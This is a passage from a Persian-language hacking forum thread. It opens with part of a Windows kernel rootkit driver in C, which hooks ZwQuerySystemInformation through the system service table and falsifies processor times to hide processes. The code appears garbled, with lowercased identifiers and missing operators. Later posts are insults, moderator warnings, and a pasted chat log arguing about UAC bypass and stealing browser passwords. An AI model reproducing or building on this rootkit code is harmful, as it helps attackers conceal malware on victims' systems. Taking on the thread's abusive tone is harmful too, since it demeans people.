                    systeminformationclass == 8// query for systemprocessortimes   
                          
                    {   
                             
                    struct _system_processor_times times = (struct _system_processor_times *)systeminformation;   
                             
                    times->idletime.quadpart += m_usertime.quadpart m_kerneltime.quadpart;   
                          }   
                       
                       }   
                       return 
                    ntstatus;   
                    }   
                       
                       
                    void onunload(in pdriver_object driverobject)   
                    {   
                       
                    dbgprint("rootkit: Onunload called\n");   
                       
                       
                    // unhook system calls   
                       
                    unhook_syscallzwquerysysteminformationoldzwquerysysteminformationnewzwquerysysteminformation );   
                       
                       
                    // unlock and free mdl   
                       
                    if(g_pmdlsystemcall)   
                       {   
                          
                    mmunmaplockedpages(mappedsystemcalltableg_pmdlsystemcall);   
                          
                    iofreemdl(g_pmdlsystemcall);   
                       }   
                    }   
                       
                       
                    ntstatus driverentry(in pdriver_object thedriverobject,    
                                         
                    in punicode_string theregistrypath)   
                    {   
                       
                    // register a dispatch function for unload   
                       
                    thedriverobject->driverunload  onunload;    
                       
                       
                    // initialize global times to zero   
                       // these variables will account for the    
                       // missing time our hidden processes are   
                       // using.   
                       
                    M_usertime.quadpart m_kerneltime.quadpart 0;   
                       
                       
                    // save old system call locations   
                       
                    oldzwquerysysteminformation =(zwquerysysteminformation)(systemservice(zwquerysysteminformation));   
                       
                       
                    // map the memory into our domain so we can change the permissions on the mdl   
                       
                    g_pmdlsystemcall mmcreatemdl(nullkeservicede******ortable.servicetablebasekeservicede******ortable.numberofservices*4);   
                       if(!
                    g_pmdlsystemcall)   
                          return 
                    status_unsuccessful;   
                       
                       
                    mmbuildmdlfornonpagedpool(g_pmdlsystemcall);   
                       
                       
                    // change the flags of the mdl   
                       
                    g_pmdlsystemcall->mdlflags g_pmdlsystemcall->mdlflags mdl_mapped_to_system_va;   
                       
                       
                    mappedsystemcalltable mmmaplockedpages(g_pmdlsystemcallkernelmode);   
                       
                       
                    // hook system calls   
                       
                    hook_syscallzwquerysysteminformationnewzwquerysysteminformationoldzwquerysysteminformation );   
                                                     
                       return 
                    status_success;   

                    دست شما درد نکنه دوست عزیز ولی من کد #c میخواستم، اینو نمیتونم تبدیلش کنم

                    Comment


                    • #25
                      آرش و ciph3r عزیز همین طوری علم و روش دست کسی ندهید

                      keylogger جان گربه شما ، سگ ما رو میخوره
                      (◕‿◕)

                      Comment


                      • #26
                        ديگه خيلی داره باغ وحش ميشه اينجا و واقعاً بی ادبی داره ميشه يه چيز نرمال تو شبگرد .
                        با اجازه ممد ، از اين به بعد کسی با کسی بد حرف بزنه و چاک دهن باز کنه ، بن ميشه . زياد هم اين روند تکرار بشه ، کلاً رجيستری بسته ميشه و برای هميشه بيرون ميمونيد .
                        حالا اين بی ادبی از طرف يوزر يک پسته اتفاق بيوفته يا از طريق کسی که 100000 تا پست داره .
                        جوری صحبت کنيد که تو جامعه و پيش خانوادتون صحبت ميکنيد و با ادب باشيد ، اگه پيش پدر و *****ون هم همينجور صحبت ميکنيد و اگه استفاده از اين لغات برای شما يه چيز نرمال هست ، فروم رو ترک کنيد .
                        حقيقت طنز است


                        .

                        Comment


                        • #27
                          نوشته اصلی توسط s_hahroo_z نمایش پست ها
                          ديگه خيلی داره باغ وحش ميشه اينجا و واقعاً بی ادبی داره ميشه يه چيز نرمال تو شبگرد .
                          با اجازه ممد ، از اين به بعد کسی با کسی بد حرف بزنه و چاک دهن باز کنه ، بن ميشه . زياد هم اين روند تکرار بشه ، کلاً رجيستری بسته ميشه و برای هميشه بيرون ميمونيد .
                          حالا اين بی ادبی از طرف يوزر يک پسته اتفاق بيوفته يا از طريق کسی که 100000 تا پست داره .
                          جوری صحبت کنيد که تو جامعه و پيش خانوادتون صحبت ميکنيد و با ادب باشيد ، اگه پيش پدر و *****ون هم همينجور صحبت ميکنيد و اگه استفاده از اين لغات برای شما يه چيز نرمال هست ، فروم رو ترک کنيد .
                          یه بلا نسبت بگین
                          www.Ragvel.com

                          www.Ahon.ir

                          Comment


                          • #28
                            پسته


                            اینو من خوندم 390px-Pistachio_macro_whitebackground_NS.jpg
                            (◕‿◕)

                            Comment


                            • #29
                              نوشته اصلی توسط Araz11316 نمایش پست ها
                              آرش و ciph3r عزیز همین طوری علم و روش دست کسی ندهید

                              keylogger جان گربه شما ، سگ ما رو میخوره
                              من کوچیکه همه هستم
                              ولی به زور کوچیکه کسی نمیشم

                              Comment


                              • #30
                                و اما لمر 2 هزاری ک/و/س خول میلاد

                                چت مال همین 1 هفته پیش نکبتته:

                                [email protected]: shoma hanzu nemiduni ke baraye in ke shoma passwordharo estekhraj **** az morurgar bayad permisio ndashte bashe yani uac yes va no
                                [email protected]: ino harvaght yad gereftin biyan
                                Mister XHat: Bypass: UAC, Firewall
                                Mister XHat: age injorie khob baiad betone ok kone dige
                                [email protected]: be un migan dastresi systemy
                                [email protected]: uac nemigan
                                Mister XHat: chashm
                                Mister XHat: man ozr mikham
                                [email protected]: tekrar nashe
                                Mister XHat: chashm
                                Mister XHat: galat kardam
                                Mister XHat: alan oke?
                                [email protected]: edea nakon
                                Mister XHat: bashe
                                [email protected]: sareto bendaz pain
                                Mister XHat: bashe hatman
                                Mister XHat: 3 4 ta ham ba chob bezan to dastam
                                [email protected]: *** migi dige
                                [email protected]: bayad beri az kharej az keshvar tahiye ****
                                [email protected]: ta daste bere dakhel
                                [email protected]: man migam hamishe
                                [email protected]: liyaghat chize nist ke hame dashte bashan bala nesbat

                                برای من آدم شدی دم درآوردی؟ ببین خودمو انقد آوردم پایین که ببینم تو اصلا" مشکلت با ملت چیه؟! دیدم نه انگار از بیخ مریضی و نیازه دمتو قیچی کنم
                                وقتی geek1982 کد کرنل میزد تو با هسته ی خرمات داشتی بازی میکردی و الانم همینطوره دقیقا" !!!

                                از این به بعد هم دیگه uac uac هم نکن به قول آرش که میزنم دک و پوزت و میارم پایین... همین که نتونستی پسورد مرورگرها رو بکشی بیرون ادعای بی پایتو ثابت کرد :|
                                هرکجا هم که پست میبینه بلدم نباشه زرتی میره replay میزنه - عقده ی پست دادن داری برو وبلاگ بساز الکی چهره ی پست ملتو خراب نکن چاقال!

                                Comment

                                Working...
                                X